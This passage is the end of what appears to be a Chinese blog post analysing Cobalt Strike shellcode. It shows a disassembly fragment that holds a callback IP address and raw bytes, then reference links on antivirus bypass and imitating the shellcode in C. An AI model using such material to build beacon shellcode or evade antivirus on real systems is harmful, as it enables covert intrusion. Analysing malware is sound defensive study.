seg000:000000000000036A 31 39 32 2E 31 36 38 2E 34 30+a19216840129 db '192.168.40.129',0
seg000:0000000000000379 19 db 19h
seg000:000000000000037A 69 db 69h ; i
seg000:000000000000037B A0 db 0A0h
seg000:000000000000037C 8D db 8Dh
seg000:000000000000037C seg000 ends
seg000:000000000000037C
seg000:000000000000037C
seg000:000000000000037C end
参考链接
https://blog.csdn.net/qq_41490873/article/details/119633280
https://macchiato.ink/hst/bypassav/cs_shellcode/
C语言模仿CS-shellcode代码,源码在CS-Shellcode